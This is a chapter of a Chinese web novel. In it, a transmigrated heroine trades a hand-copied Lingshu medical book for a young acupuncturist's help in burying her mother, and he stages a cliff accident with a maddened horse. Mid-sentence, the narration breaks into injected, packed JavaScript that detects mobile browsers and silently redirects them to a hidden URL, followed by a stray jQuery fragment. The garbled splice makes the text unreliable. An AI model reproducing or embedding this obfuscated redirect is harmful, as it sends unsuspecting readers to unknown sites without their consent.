睡在马车里的萧芸翻来覆去睡不着,不知元空青是不是被自己吓着了,再也没来问她回不回长吉镇的事。
心虽然不疼了,但她的心绪难安。
她不清楚她的前路在哪里,经此一遭,她突然有了点真实感,她感到害怕,悲愤。
以她目前的处境,面对封建社会恶势力(李员外),她一个遵纪守法的现代人,也是怕的。
平日里她路上遇见纹身大哥都要绕道走。
但,她怕自己不给阿芸娘收尸安葬,她这心能疼死。
有些事,不得不做,也理应要做。
胡思乱想了许多,迷迷糊糊睡着了,没多久,她听到有人叫她。
“阿芸,起来了。”
是元空青。
她根本没睡够,翻个身不想理他,结果一个转,就磕到了东西,根本翻不了。
这下把她磕醒了,她掀开门帘,外面天还乌漆嘛黑的,凉风扑扑往她脸上扫,她忍不住打了个喷嚏。
萧芸哀怨地看向把她叫醒的元空青。
“寅时了,趁着天没亮,我们……有很多事得做。”元空青举着马灯,往她所处的方向站了站,又道,“师父做了热汤饼,你来吃一点。”
“哦,我穿件外衣就去。”
没风了,萧芸主打一个听话。
元空青嗯了声,帮她把帘子放下,就要走。
“元……额,空青哥,你看看这个。”萧芸从身后拿出一本书,递给元空青。
元空青接过,借着灯光看清是一本靛青色书皮,白底黑楷,书《黄帝内经灵枢》。
他看了眼萧芸,打开了书,入眼是一手簪花小楷,字迹娟秀清丽,应是女子所书。
手触纸张,所感是他从未触过,也未见过的。
[卷一
九针十二原第一
黄帝问于岐伯曰:余子万民,养百姓而收其租税;余哀其不给而属有疾病。余欲勿使被毒药,无用砭石,欲以微针通其经脉,调其血气,荣其逆顺出入之会。]
当他看清开头所述内容,不由睁大了眼睛,连翻数页,里面还有手绘的人体穴位图!
见元空青这般,萧芸在心中哼哼两声,小样,迷不死你!
这本《灵枢》是她家里依据祖上所传的各种关于《黄帝内经》无名九卷的抄本,整合而成的,她家中有长辈还出版过呢!
《黄帝内经》另外九卷《素问》及《明堂灸经》等等,她都有。
少时,她练字都是抄这些古籍。
后来这个习惯一直不曾丢过,每年都会抄上几本医书。
“这哪里得来的?”元空青心中一片火热,面上难得带上几分激动的神色,他摩挲着书本,舍不得还给萧芸。
萧芸就知道他会喜欢,那会救她时,她还没到神智不清的地步,当时其实应是他师父上手方便,但他师父却让他来,足见他针灸应有一手。
后面扎针果然,快、稳,准!
“是我在仙境抄的,”萧芸回云空青,说着她伸手去拿书,嗯,拿不动,她有些好笑地又道,“只要你帮我安葬我娘,我还会再借你两本关于针灸方面的书。”
元空青定定地看着她,不答话。
他的眼神里带着探究、怀疑、不解,萧芸被看得毛毛的,有些心虚地收回了手。
不是她小气,这些书于她也是有意义的。
“你们俩杵在那干什么呢,汤饼要冷了!”
这时,不远处传来云崖子的声音。
“哦,就来就来!”萧芸连忙应声,一边应着,一边开始穿外袄,并对元空青说:“你考虑考虑。”
元空青将书小心地塞进胸口衣兜里,没走开,将她的出路挡住,低声问:“你想安葬你娘,是因为你所说的,了结恩怨?放火是与萧家之怨,安葬娘亲,是为报生养之恩?”
萧芸内心直呼元空青靠谱,理由都帮她想好了。
“是。”她亦低声。
元空青一双漂亮的眸子在夜色里格外的亮,跳跃的火光映得俊秀的脸庞忽明忽暗,不知在想什么,过了良久,他道:“好,我陪你走这一遭。”
说完伸出了手,萧芸朝他笑了笑,亦将手递给他,借着他的力,跳下马车。
落地后,萧芸松开元空青的手,小跑着向火堆边的云崖子走去。
这一夜火未熄,师徒俩围着火堆依偎而眠的。
所谓热汤饼,就是将干饼子放进热水里煮了下,不过萧芸不嫌弃,接过云崖子递来的汤饼,呼噜呼噜就往嘴里灌。
缓步而来的元空青在她旁边坐下,也端了一碗,小口喝着。
喝到一半,他看向云崖子,“师父,待会我和阿芸想办法进城,然后找机会将她娘尸身运出来找个地方安葬。”
“行啊,我跟你们一起去,一会咱们合计合计,商量个办法出来。”云崖子一口答应。
元空青看了眼他,“你年纪大了,就不要去凑这个热闹了。”
他这一说,云崖子一个蹦地跳起,吹胡子瞪眼道:“你才年纪大!你师父还没到五十!就是长得老成!”
“你休想丢下老头子我!我跟你们一起去,你要是出事了,谁给我养老送终!”
噼里啪啦就是一顿输出。
听得萧芸直感慨,师徒俩感情是真好。
云崖子根本不给元空青说话的机会,他一把夺过萧芸手里只剩一点残渣的碗,将两人的碗塞进元空青怀里。
“别吃了!赶紧把罐碗都刷了,收拾收拾走了!”
说完拉起萧芸就往马车边走,等走到马车边,他悄声问萧芸:“女娃子,能不能借你的袖里乾坤一用?”
萧芸警惕心起:“做什么?”
云崖子掀开车帘:“我想把这些东西,借放一下。”
“这个啊,我试试。”
她松了口气,爬上马车,将手放至一个包袱上,试着将其收进美容院一处美容室里。
随着她的心念一转,包袱不见了,进了美容室。
“可以,需要我都收了吗?”萧芸问云崖子。
“好好好!”
云崖子很高兴,这下可以省很多麻烦事。
车里的萧芸立马哐哐一顿收,收完感觉很累,她靠在车厢壁休息。
她也很高兴,这下师徒俩身家可都捏在她手里了。
安全感满满。
缓了会,掀起门帘,萧芸问坐在外面驾车处的云崖子,“那个,元空青师父……你为何要帮我啊?”
昨夜走得太匆忙,她一直没来得及问,元空青帮她逃走情有可原,但是他师父也这么积极帮忙,她有些想不通。
“老头子道号云崖子,你跟着空青一同唤我一声师父好了。”云崖子转头乐呵呵地回萧芸。
而后,他收起笑容,一脸认真地又道:“女娃子,我是帮你吗?我是在帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533988|186462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那傻小子,嗐,他一点也不傻,但他对在意的人就容易犯傻,你可莫要辜负了他。”
萧芸:“?”
不是吧,元空青对阿芸是那种感情?
她还以为是兄妹情,在她印象里,阿芸好似对他没往那方面想,元空青也没有做过什么逾矩的行为和话语。
“师!父!你浑说什么呢!我,我,我对阿芸……阿芸是我妹妹!”
突然,元空青脸色胀红的出现在马车边,又急又气地低声吼着云崖子。
云崖子脸色一变,扬起笑意,丝毫不在意徒弟的怒色,“害羞什么,她是小青梅,你是小竹马,现如今又到这份上了,你俩有什么不能说的。”
“师父!不是你想的那样!”元空青恨不得上前捂住他师父的嘴。
云崖子挠挠头,看看一脸急色的元空青,又看看一脸坦荡,甚至脸上带着一丝看戏意味的萧芸。
难道真是他弄错了?现在小年轻,他有点闹不明白了。
“咳咳,要不这事先放一放,我们先干正事,这些儿女情长,等我们将来安定下来再细究行不行?”
见两人不再言语,萧芸赶紧出声,什么是哥哥妹妹,还是青梅竹马,还是等正事办了再说。
听着萧芸的话,元空青脸色这才好些,他嗯了一声,将洗好的碗罐递给萧芸,又将马灯重新挂回马车上,然后跃上马车。
“我来驾车吧,我知道这里哪里有断崖,不需要去明义镇。”
说着接过云崖子手里的马鞭,驾车驶上路道。
“里面空了,师父你进来躲躲风吧。”萧芸探出个脑袋,喊云崖子。
云崖子眼睛朝旁边的徒弟瞄了瞄,见他一脸平色,心下一喜,转身就进了车厢里。
马车空了。
元空青微微笑了笑。
等到了元空青所说的那处断崖,天色已蒙蒙亮,不过这边人烟稀少,一路上都没碰到什么人。
断崖后有条小道,七拐八拐可以通往官道,但因临着断崖,走的人不多。
小路通向断崖的地方有块大石头半挡着道,也是为提醒路人前方有危险。
到了地方,三人先踩点,而后讨论了下如何才能制造意外痕迹。
一开始萧芸和云崖子舍不得那匹马,想着留下它,反正萧芸空间可以收,萧家那几只鸡,在美容室里活得好好的。
但元空青不同意,要做就得逼真。
目前来看,他是三人里脑子最好使的,所以萧芸和云崖子不再说话。
元空青驾车将他俩送离断崖两里处,跟萧芸拿了背篓和药锄,又要了些衣物被褥之物,独自驾车前往断崖。
到了事先看好的地点,元空青把马车停在那里,去附近将前面就发现的三枝九叶草和苦艾草一起采了。
采完草,他来到马儿身边,摸了摸马背,将三枝九叶草连同苦艾草一起喂给了它。
随后,他慢悠悠地在附近采草药。踩点时,他就发现了不少前胡和鼠曲草,还有其他一些草药,不过大多数还未到采挖之时,这两个倒是可以了。
采了一会,他听见了马儿的嘶鸣声。
他收拾好东西,躲在一棵树后,静静地看着它发疯,看着它蹭树蹭石头,看着它打转翻滚,本就老旧的车厢开始四分五裂、七零八落。
最后,它的命运落点是奔向那处断崖。
惨鸣哀嚎声里,他划破手掌,血瞬间漫出。